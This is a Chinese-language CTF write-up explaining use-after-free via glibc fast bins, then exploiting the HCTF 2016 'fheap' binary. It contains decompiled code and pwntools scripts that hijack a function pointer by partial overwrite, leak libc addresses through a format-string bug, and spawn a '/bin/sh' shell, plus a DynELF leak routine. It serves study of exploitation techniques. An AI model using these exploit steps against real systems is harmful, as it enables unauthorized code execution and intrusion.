Use After Free (UAF)漏洞,与heap
相关,主要涉及glibc
中malloc
和free
两种方法的特性。
通过malloc
申请一定大小的内存块,使用指针p1
存储内存块地址,然后再释放内存块free(p1)
,但没有将指针p1
置空。
通过malloc
再次申请和上次大小相同或相近的内存块,因fast bins机制所以本次与上次申请的内存块相同,使用指针p2
存储内存块地址,并通过p2
修改内存块内容。
p1
没有置空,与p2
都指向相同的内存块,当通过p1
使用被修改过的内存块时,就会发生预期外的结果(漏洞)
源码:
//64 bit test
int main()
{
char *p1;
p1 = (char *) malloc(sizeof(char)*16);
memcpy(p1,"hello world",16);
printf("p1 addr:%p, str :%s\n",p1,p1);
free(p1);
char *p2;
p2 = (char *)malloc(sizeof(char)*24);
//p2 = (char *)malloc(sizeof(char)*16);
printf("p2 addr:%p, str :%s\n",p2,p2);
printf("Change p2\n");
memcpy(p2,"test",10);
printf("p1 addr:%p, str :%s\n",p1,p1);
return 0;
}
运行结果:
p1 addr:0x602010, str :hello world p2 addr:0x602010, str : Change p2 p1 addr:0x602010, str :test
两次申请得到内存块(地址)相同,需要满足内存管理中fast bins
的条件。
Fast binsFast bins
用于提高小内存的分配效率,不大于max_fast
的chunk
被释放后,首先会被缓存到Fast bins
中。
当分配的chunk
小于或等于max_fast
时,首先会在fast bins
中查找相应的空闲块,用于加速分配。(在32bit的系统中,max_fast
的值为64;在64bit的系统中,max_fast
的值为128)
默认情况下,fast bins
包含7个大小的空闲chunk
:
32bit,每个bin上的chunk大小(括号内为数据空间)依次为16B(0-12),24B(13-20),32B(21-28),40B(29-36),48B(37-44),56B(45-52),64B(53-60)
64bit,每个bin上的chunk大小依次为32B(0-24),48B(25-40),64B(41-56),80B(57-72),96B(73-88),112B(89-104),128B(105-120)
Fast bins
每个bins
上的chunk
操作方式为LIFO
。
p1
申请的大小为16
,释放p1
,chunk
缓存在Fast bins的32B(0-24),p2
申请的大小为24
(或者也可为16),p1
和p2
都属于32B(0-24)这个范围,因此直接在Fast bin中得到chunk
。
题目参考源码 && 自行编译gcc fheap.c -pie -fpic -o fheap && strip fheap
文件功能如下:
root@ubuntu:~/uaf# ./debug +++++++++++++++++++++++++++ So, let's crash the world +++++++++++++++++++++++++++ 1.create string 2.delete string 3.quit create Pls give string size:10 str:test The string id is 0 1.create string 2.delete string 3.quit delete Pls give me the string id you want to delete id:0 Are you sure?:yes 1.create string 2.delete string 3.quit
功能简单,创建字符串并分配id;根据id删除字符串。
checksec
pwndbg> checksec [*] '/root/CTF/2016/HCTF/fheap/fheap' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
关键两点,可以覆盖GOT表,开启了代码段的地址随机化。
IDA F5查看并优化,主要为三个函数
main函数
signed __int64 __fastcall main(__int64 a1, char **a2, char **a3) { char buf; // [rsp+0h] [rbp-410h] unsigned __int64 v5; // [rsp+408h] [rbp-8h] v5 = __readfsqword(0x28u); setbuf(stdout, 0LL); setbuf(stdin, 0LL); setbuf(stderr, 0LL); puts("+++++++++++++++++++++++++++"); puts("So, let's crash the world"); puts("+++++++++++++++++++++++++++"); while ( 1 ) { while ( 1 ) { while ( 1 ) { menu();//菜单 if ( !read(0, &buf, 0x400uLL) ) return 1LL; if ( strncmp(&buf, "create ", 7uLL) ) break; create(); //create string } if ( strncmp(&buf, "delete ", 7uLL) ) break; delete(); //delete string } if ( !strncmp(&buf, "quit ", 5uLL) ) break; puts("Invalid cmd"); } puts("Bye~"); return 0LL; }
create函数
unsigned __int64 create() { signed int i; // [rsp+4h] [rbp-102Ch] char *string; // [rsp+8h] [rbp-1028h] char *ex_buff; // [rsp+10h] [rbp-1020h] size_t size; // [rsp+18h] [rbp-1018h] size_t input_size; // [rsp+18h] [rbp-1018h] char buf; // [rsp+20h] [rbp-1010h] unsigned __int64 v7; // [rsp+1028h] [rbp-8h] v7 = __readfsqword(0x28u); string = (char *)malloc(32uLL); //申请一个大小为32(0x20)的空间 printf("Pls give string size:"); size = int_conver(); //输入字符长度,并转换为整型 if ( size <= 0x1000 ) { printf("str:"); if ( read(0, &buf, size) == -1 ) //输入字符并读取到buf { puts("got elf!!"); exit(1); } input_size = strlen(&buf); //判断输入字符串的真实长度 if ( input_size > 15 ) //判断字符串是否大于15 { ex_buff = (char *)malloc(input_size); //大于15则根据字符串真实长度额外申请空间 if ( !ex_buff ) { puts("malloc faild!"); exit(1); } strncpy(ex_buff, &buf, input_size); //复制字符串到申请空间 *(_QWORD *)string = ex_buff; //存储额外申请空间,指针指向额外空间 *((_QWORD *)string + 3) = big_free; //存储释放函数,指针指向自定义的big_free函数 } else { strncpy(string, &buf, input_size); //小于16则直接存储 *((_QWORD *)string + 3) = small_free; //存储释放函数,指针指向自定义的small_free函数 } *((_DWORD *)string + 4) = input_size; //存储输入字符串输入长度 for ( i = 0; i <= 0xF; ++i ) // 对结构体数组进行循环 { if ( !*((_DWORD *)&string_array + 4 * i) ) //遍历并根据索引判断是否使用 { *((_DWORD *)&string_array + 4 * i) = 1; //若未使用则设置使用标志 *((_QWORD *)&string_array + 2 * i + 1) = string; //若未使用则存值string地址 printf("The string id is %d\n", (unsigned int)i); break; } } if ( i == 16 ) // 超出数组大小 { puts("The string list is full"); (*((void (__fastcall **)(char *))string + 3))(string); } } else { puts("Invalid size"); free(string); } return __readfsqword(0x28u) ^ v7; }
首先申请0x20
的空间(称为string),若输入的字符串长度小于16
,则使用该空间存储字符串、长度、释放函数指针,应该为32字节的结构体。
字符串,存储位置为string,16字节。
长度,存储位置为*((_DWORD *)string + 4)
,8字节。
释放函数指针,存储位置为*((_QWORD *)string + 3)
,8字节,使用small_free
。
若输入的字符串长度大于16
,则使用该空间存储长度、释放函数指针、字符串指针(申请额外空间存储字符串),同为32字节的结构体。
字符串指针,存储位置为string,8字节。
长度,存储位置为*((_DWORD *)string + 4)
,8字节。
释放函数指针,存储位置为*((_QWORD *)string + 3)
,8字节,使用big_free
。
删除字符串小于16
时,只需释放0x20
的空间
void __fastcall small_free(void *a1)
{
free(a1);
}
删除字符串大于15
时,则释放两个,还需包含string位置的字符串指针。
void __fastcall big_free(void **a1)
{
free(*a1);
free(a1);
}
string_array
是结构体数组,数组长度为0xF
,每个结构体大小为16
字节,循环判断标志位将string加入数组
是否使用标志位,*((_DWORD *)&string_array + 4 * i)
,使用则为1
。
string指针,*((_QWORD *)&string_array + 2 * i + 1)
,存储地址。
delete函数
unsigned __int64 delete() { int id; // [rsp+Ch] [rbp-114h] char buf; // [rsp+10h] [rbp-110h] unsigned __int64 v3; // [rsp+118h] [rbp-8h] v3 = __readfsqword(0x28u); printf("Pls give me the string id you want to delete\nid:"); id = int_conver(); if ( id < 0 || id > 16 ) puts("Invalid id"); if ( *((_QWORD *)&string_array + 2 * id + 1) ) { printf("Are you sure?:"); read(0, &buf, 0x100uLL); if ( !strncmp(&buf, "yes", 3uLL) ) { (*(void (__fastcall **)(_QWORD, const char *))(*((_QWORD *)&string_array + 2 * id + 1) + 24LL))( *((_QWORD *)&string_array + 2 * id + 1), //调用释放空间函数 "yes"); *((_DWORD *)&string_array + 4 * id) = 0; //设置标志位为不使用 } } return __readfsqword(0x28u) ^ v3; }
功能函数
def creat(size,creat_str): sh.recvuntil('3.quit') sh.send('create string') sh.recvuntil('Pls give string size:') sh.sendline(str(size)) sh.recvuntil('str:') sh.send(creat_str) def delete(str_id): sh.recvuntil('3.quit') sh.send('delete string') sh.recvuntil('Pls give me the string id you want to delete\nid:') sh.sendline(str(str_id)) sh.recvuntil('Are you sure?:') sh.send("yes")
创建两个长度小于16
的字符串,然后删除,此时fast bins中会有两个大小为0x20
的块。
创建长度为0x20
的字符串,字符串信息和字符串存储空间均为0x20
,因此刚好使用fast bins中的两个块。
存储字符串的块可以通过输入覆盖,覆盖释放空间函数的地址,在删除字符串时就能劫持程序。
因为程序开启了PIC
,不知道地址无法直接覆盖,程序的高位基址会变化但低位则不会,查看正常的small_free
的低位地址:
root@ubuntu:~/uaf# objdump -M intel -d debug d52: 55 push rbp d53: 48 89 e5 mov rbp,rsp d56: 48 83 ec 10 sub rsp,0x10 d5a: 48 89 7d f8 mov QWORD PTR [rbp-0x8],rdi d5e: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8] d62: 48 89 c7 mov rdi,rax d65: e8 f6 fb ff ff call 960 <free@plt> d6a: c9 leave d6b: c3 ret
对释放函数地址的最低1字节进行覆盖,就能将程序的执行流控制在dxx
的范围,在该范围寻找利用即可。
包含put
d2d: e8 5e fc ff ff call 990 <puts@plt>
或printf
dbb: e8 10 fc ff ff call 9d0 <printf@plt>
通过gdb调试发现,栈上存在puts+322
的地址,这里选择printf进行利用,利用格式化字符串漏洞结合glibc,获取地址。
获取puts+322
地址,并计算system
地址
fheap=ELF('./debug') libc = ELF("./libc.so") creat(4,"aa") creat(4,"bb") delete(1) delete(0) #puts的利用方式 creat(0x20,'a'*0x14+'b'*4+'\x2d') delete(1) delete(0) #printf的利用方式 creat(0x20,'%38$llx'+'|'*0xd+'b'*4+'\xbb') delete(1) puts_addr = sh.recvuntil('|||||||||||||',drop=True) #使程序回到菜单 sh.sendline(str(0)) sh.recvuntil('Are you sure?:') sh.send("yes") system_addr = libc.symbols['system'] - libc.symbols['puts'] + int("0x" + puts_addr,16) - 322 print hex(system_addr)
调用system
函数获取shell
payload = '/bin/sh;'.ljust(0x18, 'B') payload += p64(system_addr) creat(0x20, payload) delete(1) sh.interactive()
若没有glibc计算偏移地址,则使用DynELF
获取system地址。
首先利用puts输出string中包含的small_free
地址,计算得到程序基址。
creat(0x20,'a'*0x14+'b'*4+'\x2d') delete(1) sh.recvuntil('bbbb') addr = sh.recvuntil('\n',drop=True) elf_base = u64(addr + '\x00' * (8 - len(addr))) - 0xd2d log.success("proc base :" + hex(elf_base)) delete(0)
利用delete中的yes处实现泄露函数:
def leak_addr(addr): payload = 'a%10$s'.ljust(0x18,'#') + '\xbb' creat(0x20,payload) sh.recvuntil('3.quit') sh.sendline('delete string') sh.recvuntil('Pls give me the string id you want to delete\nid:') sh.sendline(str(1)) sh.recvuntil('Are you sure?:') sh.send("yes.1111"+p64(addr)+"\n") sh.recvuntil('a') data = sh.recvuntil('##',drop=True) sh.sendline(str(0)) sh.recvuntil('Are you sure?:') sh.sendline("yes") log.success("%#x => %s" % (addr, (data or '').encode('hex'))) return data + '\x00' fheap.address = elf_base dyn=DynELF(leak_addr, elf = fheap) system_addr = dyn.lookup('system', 'libc') log.success("system_addr : " + hex(system_addr))
本文作者:Rai4over
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/117664.html